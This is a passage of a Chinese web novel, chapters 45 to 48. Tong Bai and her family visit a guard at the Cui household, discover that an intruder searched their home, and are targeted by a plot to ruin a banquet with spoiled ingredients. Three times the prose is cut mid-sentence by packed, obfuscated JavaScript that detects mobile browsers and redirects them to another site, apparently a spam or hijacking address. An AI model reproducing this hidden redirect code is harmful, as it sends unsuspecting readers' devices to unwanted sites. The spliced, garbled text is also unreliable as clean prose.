门外,一道带着浓重异域口音、略显别扭却满是兴奋的声音穿透门板:“是我,韦德!安家的韦德!快开门,我有急事!” 45. 延寿坊赴约 童白轻舒一口气,压下心头翻涌的思绪,扬声道:“来了!”手下利落拉开院门。 只见一身锦缎暗纹的韦德立在门外,身后跟着个怀抱布匹的胡商汉子,脸上堆着笑,哪有半分急切模样。 她心下莞尔,侧身将人让进院子,反手虚掩了院门。转身时,似有若无的视线黏在背上,叫她下意识抬臂理了理鬓发,权作掩饰。 白氏抱着四郎迎上前几步,微微屈膝:“韦德少爷安好。不知有何急事?” 韦德抬手挠了挠后脑,蓝眼睛滴溜溜转向灶屋方向,嘴上却道:“昨日说好的布料,今日凑齐了便赶紧送来。”目光掠过一旁嘴角还沾着油渍的二郎和三娘,喉头不自觉地滚动了一下。 白氏感激一笑,目光已黏在那胡商怀中的布匹上。土黄的给二郎、四郎,浅蓝的给娘几个做衣裙,省着些用,约莫够每人裁一身。 晚上她熬个夜,明日便能穿上新衣裳去延寿坊,这般,也能让那看轻了她们家的那些人知道,童家也不是那般无用…… 童白顺着韦德视线瞥见三娘鼓鼓的腮帮子,心念电转,忽而抿唇一笑,转身进了灶屋。再出来时,手中已多了两个桑皮纸包。 “这是新做的胡麻糖环饼,赠与韦德少爷和哈维先生尝个鲜。”她笑吟吟递过去,“里头是胡麻和饴糖调的馅,看合不合胃口。” 韦德接过纸包,嗅着那甜香,眼睛霎时亮了,忙不迭扭头催那胡商:“快!布料给她们!” 那汉子看看白氏怀中的婴孩,又瞧瞧身高不及腰部的两个孩子,最后将两匹布一股脑塞进童白怀里。 入手细腻柔软,绝非粗麻可比。童白怔了怔:“两匹都给我们?”先前说好的不过一匹。 “自然!”韦德迫不及待掰了块糖饼塞进嘴,含混道,“往后……还换!”说得斩钉截铁。 童白不由莞尔,这买卖,她乐意之至。 * 翌日清晨,童家小院浸在浓白雾气里,檐角门扉影影绰绰,恍入云境。 童白立在主屋门前,连院门上的铁锁都瞧不真切。寒风暂歇,雾散必是晴日,她心下稍安——日头好些,院中那几瓮酸腌菜和酱缸兴许能发酵得更顺当。 灶屋里,白氏眼底带着熬夜赶工的青黑,手上针线却不停。一家子匆匆用过朝食,她便抱了衣裳坐在檐下,就着天光飞针走线。 童白心下酸软,也不劝阻,只先去坊间唤了卖柴老汉送柴,又绕去谢家宅子寻韦德问了糖环饼的品评,归来便钻回灶屋忙碌。 近午时,日头破雾而出,院中飘起诱人甜香。三娘扒在灶房门框上,眼巴巴望着阿姊锅中翻滚的金黄饼子,口水咽了又咽。 待雾气散尽,童白与二郎将发酵的坛瓮搬到院中西北角晒日头。白氏这才搁下针线,招呼道:“都来试试新衣裳。” 不多时,一家子焕然一新。 童白一身浅蓝棉裙,衬得眉眼愈发清亮;二郎着土黄短褐,竟透出几分超乎年岁的沉稳;三娘揪着新衣角,仰脸望向童白,笑成了花:“阿姊真好看!” 童白揉揉她发顶,笑应:“都好看,咱们三娘也好看。” 二郎却悄扯她衣袖,低声问:“阿姊,我们穿这般鲜亮去见人,会否太扎眼?” 童白一怔,望进他忧忡的眼底,心下一暖,温声道:“无妨,咱们这布料是靠本事得来的。”又替他正了正衣领,“再说,咱们二郎这样很精神,更适合上门拜访穿着。” 最后出来的白氏,一身同样料子的蓝裙,竟衬得面色都红润几分。童白眼前一亮,由衷赞道:“阿娘的手艺真好。” 白氏颊边微红,赧然垂眸:“余布还够,回头再给你们做身换洗的。” 说笑间,童白提了装饼的竹篮出来,却见白氏抱起了四郎,三娘挎着□□布的小篮,二郎更是连铁锁都攥在了手里。 “阿娘也去?”童白讶然。 白氏点头,神色坚定:“我同你去延寿坊。离府这些日子,也该回去瞧瞧绣房的旧相识了。”见童白蹙眉,又忙道,“放心,不是去求人。三娘和四郎暂托余婶照看便是。” 童白见她已有成算,便不再多言。仔细锁好院门,将弟妹送至余家,母子三人这才往延寿坊去。 巷中,陈家院门悄开一缝,一双阴鸷的眼紧盯着那三抹渐远的背影,最终落在那扣死的铁锁上。 延寿坊崔府东侧门值房内,张勇第三次抬眼瞥向门外。 侍立一旁的陈旺窥他神色,试探道:“张爷,离未时还有两刻钟,不若小的去巷口迎一迎?” 张勇摩挲着下颌短髯,略一颔首:“去罢。” 陈旺应声而出,恰在巷口撞见童家三人。 只见两位女娘一身清爽蓝裳,小郎君穿着利落短褐,虽料子寻常,却整齐体面,竟比往日精神许多。他忙堆笑迎上:“白娘子、小娘子、小郎君安好。张爷已在值房相候,小的引您几位过去。” 三人颔首致谢,随他往崔府行去。将至西侧巷口时,冤家路窄,竟又撞见玉娘领着三、四仆妇迎面而来。 玉娘淬毒般的目光狠狠剜过童家三人,唇角绷紧,终只冷嗤一声,率众匆匆离去。 童白脚步微顿,回望玉娘离去的背影,心下蓦地一沉:这般隐忍退让,不似玉娘平日作风,恐有后招。 前方引路的陈旺低声提醒:“童小娘子,随小的来吧。”府前各房眼线颇多,不宜久留。 童白恍然,提起裙摆,微微垂首碎步跟上。心中却暗忖:这张勇特意约见,所为何事?莫非与崔府宴席有关? 东侧门值房就在东侧门内里,送他们进去后,陈旺退下去了值房隔壁的茶水间准备茶饮。 东侧门值房内,张勇大手一扬,示意三人落座。 白氏与童白对视一眼,依言坐下,二郎则紧挨着阿姊,小手不自觉攥紧了衣角。 白氏寒暄几句后,直接问:“不知军爷让崔荣管事带话,召我等前来,可是有何要事?” 张勇轻咳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297949|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,未立即回答,目光扫向门外。恰逢陈旺端茶进来,为几人斟上后方才退下。 待脚步声远,张勇才低声道:“那日让崔二管事带话,也是想叫有些人知道,童家并非无人看顾,行事总该有些顾忌。” 白氏与童白闻言,脸色皆是一白。二郎更是紧张地看向阿姊。 童白定定神,接话道:“谢军爷回护之意。昨日崔管事突然上门,我等确实措手不及。” 张勇见她脸色发白,唇瓣微颤,显是后怕,便将一盏茶推至她面前:“暖一暖。莫怕,府里自有法度,纵有心思,也不敢明着乱来。”他语气缓了缓,“你是个有主意的,比许多男儿都强。” 当初童大哥托他捎带饷银时,提过家里几句,他也答应了童大哥,定会照看好他的家里人,但计划总归计划,回长安的路上…… 张勇的眼眸闪过厉色,他垂下眼帘,将那神色隐在眼帘之下。 童白捧起茶盏,热意透过粗陶传入掌心,稍驱寒意。她低头啜了一口,苦味激得神志一清。 张勇目光落在一旁的竹篮上:“这是带给十九爷的?” 童白点头:“新做的胡麻糖环饼,用的是胡麻和饴糖调馅。”她顿了顿,似是犹豫,还是开口道:“军爷可知,府上贵人中可有食用胡麻后身上会起红疹的?偶有物性不相合,虽非毒物,终究不美。” 张勇眉头一拧:“起红疹?倒是未曾听闻。你怎知有此一说?”他目光如炬,带着审视。 童白心下一紧,面上却力持镇定:“只是曾听人提起过此类情形,说是体质各异,与某些吃食相冲。故有此一问,绝无他意。” 张勇盯她片刻,见其目光清正,不似作伪,才略放松神色:“你有此心,甚好。往后入府操持宴席,更需谨言慎行,处处留心。”他话锋一转,声音压得更低,“虽说……童校尉在将军那儿确是挂了名的,但眼下情势未明,你们行事更须谨慎,莫授人以柄。” 白氏呼吸一窒,急声问:“挂名?是福是祸?” 张勇沉吟片刻,摇头道:“眼下还说不准。总之……一切小心为上。” 童白与白氏对视一眼,皆从对方眼中看到难以掩饰的惊疑与凝重。 童白斟酌片刻,试探道:“昨日崔二管事上门,命我入府为文奶娘操持寿宴。”说到此,见张军士垂下的眼帘未动半分,她继续道:“我虽有些灶上手艺,却从未担过整席之责。我推测……这其中是否另有玄机?” 张勇抬起眼帘,看进她的眼眸:“你既已想到这一层,想必心中已有计较?” 童白摇头,自嘲一笑,“我连这差事为何落在我头上都想不明白。总不能真只因玉娘与我娘那点旧怨?”随即,她语气渐沉,目光坚定:“我想知道,她们选在此时发难,是否与我阿爹有关?”童白直视张勇,“以及,早前我在坊间听到的阿爹战死的消息,究竟是真是假?” 话说到此,值房一片寂静,白氏和二郎的视线也都望向张勇,屏息等待。 46. 张勇警示 窥视危机 值房一时间落针可闻,几人或清浅或沉重的呼吸声交织,空气中弥漫着的粗茶涩香,仿佛也停滞了。 张勇的视线掠过杯中浮沉的茶梗,似在斟酌言辞。童白那句“是不是因为我阿爹”的问话,像根针一样刺破了暂时的平静。他抬眼,目光沉静地看向紧张等待的母子三人。 “我上月回长安前,”他声音低沉,字句清晰,“最后一次见童大哥,他亲手将饷银托付于我,嘱我务必交到你们手上。”他略一停顿,观察着白氏瞬间攥紧衣角的手和童白骤然绷紧的下颌,“那时他一切安好,只是……军务机密,详情不便与我等多言。” 白氏紧攥着衣角的手指微微松开了些,眼底却仍积着浓得化不开的忧惧。二郎悄悄吐出一口气,而童白的心却悬得更高。 “一切安好”却“不便多言”,这本身就是一个充满变数的信号。 她按捺住追问的冲动,此刻从张勇这里得到父亲尚且平安的确认已是万幸,不能再让情绪决堤的白氏承受更多。 张勇将他们的神色尽收眼底,继续道:“至于文奶娘这生辰宴是否与童大哥有关,我确不知情。”他话锋微转,声音压得更低,“府中人情复杂,文奶娘是夫人身边的老人、玉娘的姨母,往日颇得脸面。但近年来,夫人似乎更倚重身边的溪娘子。” 他提及“溪娘子”时,语气略显迟疑,目光也变得深邃起来:“你们在府中时,可与溪娘子有过往来?” 白氏与童白俱是摇头。 白氏与童白俱是摇头。白氏低声道:“我平日多在绣房,鲜少与各房主子身边的人走动。”童白补充:“我出府前尚在学规矩,未曾分派职司。” “这就有些蹊跷了。”张勇眉头锁紧,“上回你来府中寻我,门房已来通知陈旺的路上,却被溪娘子安排人半道拦下。她似乎……不愿你们与我有过多接触。” 童白心中警铃大作:未曾谋面、地位更高的溪娘子,为何会暗中针对已离府的旧人? “多谢军爷提点。”童白肃然道,“此番入府,我自会万分小心,谨言慎行。”她将带来的竹篮轻轻向前推了推,“这是新做的胡麻糖环饼,我不知可否合贵客口味,劳烦军爷转呈十九爷,还有上回的灌汤饼,若十九爷觉得尚可,我亦可再备些送来。” 张勇脸上掠过一丝极不自然的神色,他轻咳一声:“饼……甚好。只是十九爷近来繁冗,试菜之事恐需再延后些时日。”这话说得有些底气不足。 “我明白了。”童白心下稍安,她今日送吃食来,便是试探。 好在,十九爷的态度虽不明朗,但至少没有明确拒绝,这便是她们眼下唯一的浮木。 “那崔二管事所言,今日便接我入府之事……”童白最后确认道。 张勇摆手:“此事你无需忧心,应是后日方才入府。你且回去,好生准备文奶娘的生辰宴便是。”他的语气带着一种令人心安的肯定,仿佛已暗中打点过什么。 童白心下稍定,正欲与白氏起身告辞,值房外忽地传来一个洪亮却略显粗粝的男声,由远及近:“勇子!在里头不?找你说点事!” 童白目光立刻投向张勇。只见张勇面色一凝,对外扬声应道:“在!贺大哥稍待,我这就来!”随即他对童白几人飞快地低语:“是巡街的贺小旗。你们从侧边小门出去,陈旺会在外接应。”话音未落,他已起身,大步向门口走去。 童白与白氏对视一眼,将包装好的糖环饼拿出放在桌上,立刻拉起二郎,拎起竹篮,悄无声息地推开值房另一侧的窄门,迅速隐入其后的阴影之中。 * 回到双梧巷,童家几人去余家接回三娘和四郎。谢过刘婶子,来到自家院门前。白氏拿出钥匙,手却有些微颤,捅了几下才对准锁眼。 “咔哒”一声,锁开了。童白却微微蹙眉,下意识地伸手摸了摸门框与门板相接的缝隙处。 推门入院,童白脚步不停,视线飞快扫过院落。 她先是走到主屋门前,目光落在门闩上。她离去前曾夹了一根头发丝在此,现在,已然不见了。 她不动声色,又快步走向灶屋,门槛边的浮土上,仿佛有被极小心拂过的痕迹,但仍留下一点模糊的异样鞋尖印,绝非自家人的鞋底纹路。她的心猛地一沉。 顾不上解释,她径直走到西北角存放酱坛和酸瓮的地方,蹲下身,仔细检查坛口的封泥和周围的地面。还好,这两个宝贝似乎未被触动,发酵的气息依旧醇厚。她稍稍松了口气,但紧绷的神经并未放松。 “阿姊?”二郎牵着三娘,不安地看着她异常的举动。 白氏也意识到了什么,脸色发白,紧抱怀中的四郎快步走进主屋,将四郎放在床上,探身摸索着床里侧藏钱的小暗格。指尖触碰到那包沉甸甸的大钱时,她愣了片刻,随即像是被抽空了力气般,侧身跌坐在床上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297950|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 钱没少……不是贼? 那……是谁?进来做什么? 一种比失窃更深的恐惧攫住了她。亲生女儿魂魄消失的刺激、连日来的担忧、丈夫或已牺牲的焦虑、新女儿即将深入虎穴的惊惶,在这一刻轰然决堤。她猛地捂住脸,压抑的哭声从指缝间漏了出来。 原本趴在炕上玩耍的四郎被母亲突如其来的哭声吓到,小嘴一瘪,也放声大哭起来。 “阿娘!四郎哭了!”三娘吓得跑进主屋,不知所措地看着阿娘和阿弟。 二郎站在主屋门口,小手紧紧攥着门框,眼神里充满了担忧和恐惧。他心有猜测又不敢确定。 院外的陈大河正贴在门缝上,努力想听清童家里面的动静。孩子的哭声让他一惊,下意识地凑得更近,眼珠几乎要嵌进门缝里。 就在这时,一道身影走到童家院门前,抬手准备敲门,眼角余光恰好瞥见门缝里那只瞪得溜圆、充满窥探欲望的眼睛。 “哎哟我的娘诶!”卢娘子吓得往后一跳,拍着胸口骂道:“陈大河!你个夭寿的玩意儿!大白天的扒着门缝瞪着眼珠子吓唬谁呢?!老娘差点让你吓背过气去!” 陈大河吓得一哆嗦,猛地缩回头,脸上青一阵白一阵。 卢娘子惊魂未定,声音愈发响亮:“我说你一个大老爷们,整天不出门谋营生,净干这钻穴窥墙的勾当!盯着人孤儿寡母的院子想干啥?!我可告诉你,童家男人是军中的校尉!不是你能惹得起的!你眼睛放亮些!” 她的嗓门成功吸引了左右邻居。余家院门开了,刘婶子探出头来。童家院门也“吱呀”一声打开,童白站在门内,脸上带着恰到好处的诧异与关切:“卢婶子,您回来了?这是怎么了?生这么大气?” 她的目光状似无意地扫过陈家紧闭的院门,眼神深处却是一片冰冷的了然。 刘婶子也搭腔道:“就是,卢家妹子,谁惹着你了?”语气里却带着几分看热闹的意味。 卢娘子叉着腰,指着陈家门骂:“还有谁!就这陈大河!扒着门缝做那见不得人的勾当!吓死个人!我说童小娘子,你们可得当心点,有些人啊,心术不正!” 童白站在门口,阳光照在她新换的浅蓝棉裙上,却仿佛带不走那悄然弥漫的寒意。她望着卢娘子,又瞥了一眼那扇沉默的黑漆木门,心中那个模糊的念头逐渐清晰、尖锐。 危机已至,不容半分侥幸。 47. 暗流涌动 陈家院门内,陈大河僵立原地,耳中嗡嗡作响。卢娘子尖厉的谩骂声穿透木板,字字如针,扎的他的太阳穴突突直跳。 他紧攥拳头,指关节咔咔作响,暴戾之气在胸腔中迅速积攒、翻涌,想要破门而出的情绪占据着他的思维,恨不得此刻将门外碎嘴的妇爆锤、撕个粉碎。 可,他终究未动。 粗重的鼻息喷在寒冷的空气中,凝成白雾,又迅速消散。他缓缓松开拳,嘴角扯出一抹阴冷的笑,转身悄退入院中阴影处。 角落里,两抹瘦小身影正瑟缩着给菜地翻土,是陈小花和她弟弟陈小草。听到脚步声,她们吓得浑身一颤,手上的动作越发快速,头垂的更低,几乎要埋进土里。 陈大河目光阴沉地掠过姐弟俩,站定。 此刻院外,卢婶子又开启了新一轮谩骂,陈大河咬了咬后槽牙,冷哼一声,进了主屋。 陈大河坐在往日彪形大汉常坐的椅子上,翘着个二郎腿,翘起二郎腿,脚尖不耐烦地点着地。 “陈小花,”他扬声喊道,语气里带着不容置疑的威压,“烧壶热水来。” “欸,四叔。”女孩怯怯应声,拉着弟弟飞快地跑向灶屋。 院外,卢娘子的骂声渐歇,童家院门吱呀一声关上,巷子里重归寂静,只余寒风掠过枯枝的细微声响。 童家院内。 卢娘子仍是余怒未消,拍着胸口顺气道:“弟妹,你们可得多留个心眼!对门那家,邪性得很!” 她压低声,身子往前倾了倾:“当初童校尉托我家那口子找房子时,陈家夫妇还在,虽不富裕,但也算和睦。谁知你们搬来前没多久,竟双双暴毙在了屋里!要不是第二日邻居听见小花、小草哭得凄惨,怕是都没人发现……” 白氏闻言,脸色一白,下意识抱紧怀中的四郎。 童白心中也是一凛,面上却不动声色,顺着话问:“竟有这种事?那会儿兵荒马乱的,外面是不太平。我们刚搬出来自立门户,许多事都不懂,多亏婶子提醒。” “可不是嘛!”卢娘子叹口气,“陈家夫妇是县郊陈家村的,凭着一手做豆腐的手艺在长安立足,好不容易熬过了前朝那些苦日子,谁曾想……唉,真是造化弄人。后来他们乡下的亲戚,就这个陈大河搬了进来照看孩子,可你看他那样子,哪像是好好过日子的?我听说,时常打骂那两个孩子……” 童白默默听着,将这些信息一一记在心里。她见卢娘子情绪稍平,才温声将话题引回:“婶子今日过来,可是有什么要紧事?” 卢娘子这才恍然,一拍额头:“瞧我这记性,光顾着生气了!”她脸上绽出笑容,声音也轻快起来,“我是特来道谢的!” 说着从袖袋里掏出个小物事,摊在手心。那是一颗圆润可爱的银豆子,小巧精致,透着柔和的光泽。 “快拿着,”她不由分说塞到童白手里,“别嫌这豆子小,这是我娘家兄长请人为老母寿辰特制的‘福禄豆’,寓意好着呢!万没有将福气挡在外头的道理!” 童白下意识地看向白氏,见她微微颔首,便不再推辞,指尖触及那微凉的银豆,心下对卢家的家底又多了分估量。 这并非寻常人家能随手送出的谢礼。 卢娘子见她收下,笑容更盛:“那黄金蒸饼,可是在我娘家宴席上出了大风头!家母和嫂子都说,从未尝过这般滋味的蒸饼,真是开了眼!” 她眉眼间带着几分得意:“席上还有我兄长同僚的家眷,也对这蒸饼赞不绝口。宴席散后,一位书吏家的娘子还特意寻到我嫂子打听,问是从哪家铺子买来的。” 童白的心提了一下,目光灼灼地看向卢娘子。 卢娘子冲她眨眨眼,带着几分狡黠:“你婶子我可不敢忘形,只说是自家买了上好食材,央求手巧的邻居帮忙做的,并不在外售卖。”这话既全了之前的约定,又抬高了童白的手艺,听得童白心下微暖。 “那娘子听了,沉吟片刻,只说若日后有所求,再来寻我。”卢娘子语气里透出些许惋惜。她深知童家境况,这本是极好的机会,偏偏…… 她忽又想起什么,脸上惋惜之色稍褪,转为一种热切:“不过呢,除了这位,我娘家嫂子也向我打听你了。” 童白和白氏都望向她。 “她倒不是想买蒸饼,”卢娘子压低了声音,“是她娘家侄儿半月后娶新妇,想寻个手艺好、价钱又公道的厨子去操持喜席。她尝了那蒸饼,便动了心思,托我问询一声。” “喜席?”童白怔住了。这确是个更稳定、更能见收益的活计,若能接下,家中窘境或能大大缓解。一瞬间,她对食材、菜单的构想几乎要脱口而出。 然而,这念头只是一闪,便被沉重的现实压了下去。她眼前闪过崔荣那张倨傲的脸,文奶娘可能布下的陷阱,以及对门陈家那双窥伺的眼。 她深吸一口气,压下心底那点微弱的渴望,脸上露出一个混合着感激与歉然的苦笑:“卢婶子,您和嫂子抬爱,我本不该推辞。只是……” 她顿了顿,声音里带上一丝不易察觉的艰涩:“三日后,我便需得进延寿坊崔府,为府上一位得脸的嬷嬷操持生辰宴。这几日光是准备那宴席的菜式点心,已是分身乏术,实在不敢再接旁的活计,万一出了差池,反倒辜负了婶子的信任和您娘家嫂子的期待。” 童白语气恳切,又将缘由引到崔府事务上,既婉拒了眼前的机会,也未完全断了日后往来的路子。 卢娘子原本因她拒绝而升起的不满悄然褪去,上前一步,拉住童白的胳膊亲昵地拍了拍,“既如此,你先忙活着延寿坊那边的事情。喜席的事,我回头再与我嫂子说说,等你这头忙完了,若还有机会,再说不迟。”她不是个不知事的,换做是她,也会如此这般处理。 童白闻言,感激地回握住卢婶子的手,“谢婶子体谅。” 几人又说了几句闲话,童白送卢娘子出门。关院门时,她视线飞快扫过陈家院门,并未感受到有人在门后窥视。 童家院子安静下来,一家人换回麻衣,童白从灶膛里挑出个大小合适的木炭条,用麻布裹住,找出二郎在崔府时练字时用的平整石板,在上面写写画画起来。 二郎和三娘好奇地凑上前,二郎只认得几个字,看得似懂非懂;三娘根本不识字,很快便跑开了。 白氏抱着四郎,远远望着女儿专注的侧脸,心中五味杂陈。 日头渐渐偏西,延寿坊崔府内一座僻静的下人院子里,一株粉色的腊梅正在寒风中绽开。东厢房里,玉娘站在一名妇人身后,正轻轻地给她捶背捏肩。 这里正是文奶娘的居所,她虽为仆从,但身为崔家夫人的奶娘,又在府中经营多年。地位自是与普通仆从不一样,她独自住在宽敞的东厢房内。 玉娘揉捏着姨母的肩背,声音不高不低,“姨母,您是不知道,今日那童家母子三人进府来了,穿了新做的棉布衣裳,人模狗样的,前院的陈旺还躬身在前领着她们进的府,见到我时,那态度,就好像她们是什么了不起的人物似得。” 文奶娘闻言,眉眼都没带抬一下,“急什么急!不过是那秋后的蚂蚱,蹦跶不了几日了。” 玉娘不满地嘟着唇,语气撒娇:“姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303049|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母~” 文奶娘微张双眼,朝身侧的玉娘斜睨了一眼,“你忘了我教过你的,做人做事,切记不要心焦气躁,她们现在蹦跶的越欢越高,后续摔下来的时候才会越痛越难看。” “还有,在这府里做事,尤其是对付那些碍眼的人,要么不做,要么就做绝,绝不能给人留下反咬一口的机会。光是让她做砸宴席,挨几句骂、扣些工钱,有什么意思?那岂不便宜了她?” 玉娘闻言,眼睛一亮,按摩的动作一顿,凑上前:“姨母可是已有万全之策?” 文奶娘脸上露出一丝莫测高深的冷笑,压低声音:“后厨采买的管事,跟我颇有渊源。那日,他会送一批‘特别’的食材进去。” “特别?”玉娘疑惑。 “嗯,”文奶娘的眼中闪过一丝狠厉,“肉将会专门挑那种看起来不碍事,实则不新鲜、腥气已入肌理的;鱼也会选择看似活蹦乱跳,实则肉质柴腥的准备,还有那做面食的食材……”她顿了顿,语气更冷,“会掺上一些陈年发霉麦麸,多磨几遍,细细的,任她如何都瞧不出来,但这样的面做了吃食,会有一股子说不出来的霉涩味。” 玉娘听得兴奋,“这样,若是她做出来的餐食味道不对……” “不是若是,”文奶娘打断她,斩钉截铁道:“是必定不对!夫人嘴挑,对食物的新鲜度惯来要求严格,虽然这生辰宴夫人不会参加,但我会想办法送些童小娘子做的餐食到夫人面前,而夫人看在我生辰的份上,必然会给个面子尝上一口,到时候……”嘴角衔着一抹冷笑,“加上这次我还会邀请府上其他各房的有头有脸的嬷嬷娘子们前来吃席,菜肴有异味,你说这事,岂是能轻易遮过去的?” “再有,等她做菜的时候,灶火时旺时弱,她需要的高汤,怼了水;厨房的帮厨只会是笨手笨脚的,或者听不见她吩咐的小丫头。”文奶娘眼中的寒意仿佛要凝成冰刀,:“她自进厨房后第一步开始,处处掣肘、步步是坑,纵然她真有些本事,在这样的情况之下,也绝无可能做出像样的席面。” 玉娘脸上终于露出畅快的笑容,“还是姨母想的周到!等她搞砸了宴席,惹得夫人大怒,咱们再站出来指出她欺世盗名,辜负了夫人和十九爷的信任,到时候我倒要看看她还有何脸面在这长安城立足。” “不止如此,”文奶娘微眯着眼,“她不是想要靠着手艺攀高枝吗?我就让她在手艺上栽跟头!事后,我会向夫人进言,此等品行不堪、手艺低劣之人,竟敢蒙骗主子,当严惩以儆效尤。就算十九爷那边不好直接重罚,也能让她从此再不敢踏足庖厨之行,绝了她这点可怜的指望。” 文奶娘的脸庞显得格外阴沉。她轻轻摩挲着腕上一只成色普通的银镯,那是她伺候夫人多年得来的赏赐之一,也象征着她在这深宅大院中积累的、不容小觑的能量。 “玉娘,你要记住,”她缓缓道,“打蛇要打七寸。对付这种人,就要让她在最得意的地方摔得最狠,永远翻不了身。” 玉娘重重地点点头,眼中闪烁着快意和期待的光芒:“姨母放心,我晓得了。宴席那日,我定会早早过去,‘好好’地看着她是如何一步步把自己推进火坑的!” 姨甥俩相视而笑,空气中弥漫着阴谋即将得逞的寒意。 而在双梧巷的童家,童白依然对着石板写写画画,眉头紧锁,她对即将发生的阴谋也并不是完全没有设想,石板上列明的全是她所想到的可能会发生的意外。 这会儿,她在逐一思考破局的办法。 她知道,踏入崔府厨房的那一刻,一场没有硝烟的战场就已经开始了。 48. 文奶娘的心思 天边泛起鱼肚白,寒气是一日中最盛的时候。 童白起身时,理应是白氏躺着的位置早已变得冰冷,才打开主屋的门,就瞧见灶屋里昏黄且微弱的光亮。白氏正凑在油灯前,微眯着眼仔细缝着手上淡蓝色的棉布。 看来白氏起来的很早,昨日的棉布这会儿已成了棉裙。缝好最后一针,白氏仔细检查着手中的棉裙,确定一切都没问题后,她叠好将浅蓝棉裙放入旧包袱皮里,动作轻柔而缓慢,就好像手中之物是什么易碎的珍宝般。 童白加重脚步,只希望这点动静能提醒白氏,别惊到她。 “起来了?”白氏转过身,眼下带着明显的青黑,,轻抚包袱皮,“都收拾妥当了。”声音却竭力维持着平稳,“虽说你打算做事时套上旧麻衣,免得沾染油污糟蹋了好料子。但进府后的情况并不明朗,索性再给你准备一套备用的,这样,真要有什么,也不会失去体面。” 童白接过那不算沉重的包袱,指尖拂过棉布温软的质感,点了点头:“阿娘放心,我省得。” 灶台上温着一碗浓稠的粟米粥和蒸饼,这是她今日的早膳。童白坐下默默吃了,粥饭温热,滑入空荡的胃袋,身子暖了,但却怎么也驱不散萦绕在心头的寒意。 今日,她便要独自踏入明知是龙潭虎穴的地方。 “阿姊,”二郎站在灶屋门口,眉头紧皱,攥着门框的手指微微发白,眼神里盛满了与他年龄不符的担忧,“阿姊一定要当心。” 三娘也挤过来,小手递过来一个用布缝制的小小护身符,原本的颜色早已脱落,中间鼓鼓囊囊:“阿姊,阿娘说这是从庙里求来的,保平安的,阿姊带上。” 童白心头一暖,接过那带着三娘体温的护身符,这符是白氏从寺里求来保平安的,原本是挂在原主脖子上,原主大了后给了二郎,二郎大了又给了三娘,现在又回到了自己手上。 她仔细塞进怀里,放在贴近心口的位置。“谢谢三娘,阿姊一定平安回来。”她揉了揉三娘的脑袋,又看向二郎,“在家看好三娘和四郎,听阿娘的话。” 二郎重重点头。 时辰差不多了。童白深吸一口气,拎起包袱,看了一眼童家小院。白氏抱着四郎,站在主屋门口,唇瓣微动,最终只化作一句:“……万事担心、小心行事,我们在家等你归来。” “嗯。”童白应下,转身拉开院门。 巷中寂静,晨雾未散。对门陈家院门紧闭,悄无声息,却似有一双无形的眼睛,透过门缝冷冷注视着。童白目不斜视,步伐不疾不徐地朝坊门走去。每一步,都感觉那落在背上的目光如芒在背。 抵达延寿坊崔府西侧门时,已有名面生的小厮等在那里,见到她,上下打量一番,眼神里带着几分不易察觉的轻蔑:“可是童家小娘子?随我来吧。” 侧门缓缓开启,又在她身后沉重合上,隔绝了外界。门内是另一重天地,青砖砌成的高墙,庄严又肃穆,就连空气都仿佛凝滞着无形的压力。 童白低垂着头跟在小厮身后三步之后,沉默地穿行在曲折的回廊与夹道中。 沿途偶遇的仆妇丫鬟,皆衣着整洁,步履轻悄,见到他们俩人,或好奇一瞥,或迅速低头,无人交谈,规矩极严。 最终,小厮停在一处僻静的院落前,门楣上并无牌匾。 “到了,厨房就在里头。管事嬷嬷稍后便到,你在此等候便是。”小厮说完,也不多留,转身便走。 童白独自站在院中,略一打量。这院子不大,一侧是并排的几间大灶屋,门窗紧闭,窗格下垒砌着半人高的木柴堆,另一侧似是库房。空气中弥漫着一种混合了油烟、食材和淡淡霉味的气息。 她静立等候,心绪却飞速转动,将昨日石板上所列的种种可能发生的意外及应对之策又在脑中过了一遍。 约莫过了一刻钟,一阵略显拖沓的脚步声传来。一个穿着藏青色棉比甲、头发梳得一丝不苟、面容严肃的老嬷嬷带着两个低眉顺眼的小丫鬟走了过来。 “你就是童小娘子?”老嬷嬷目光在她身上扫视。 “是,嬷嬷安好。”童白屈膝行礼。 “我姓钱,负责这处小厨房的一应事务。”钱嬷嬷语气平淡,听不出喜怒,“奉上头吩咐,今日这灶台归童小娘子用。食材都已备在屋里,她们两个是你的帮手,。”她指了指身后那两个看起来不过十二三岁、显得有些怯生生的小丫鬟。 “有劳钱嬷嬷。”童白恭敬道。 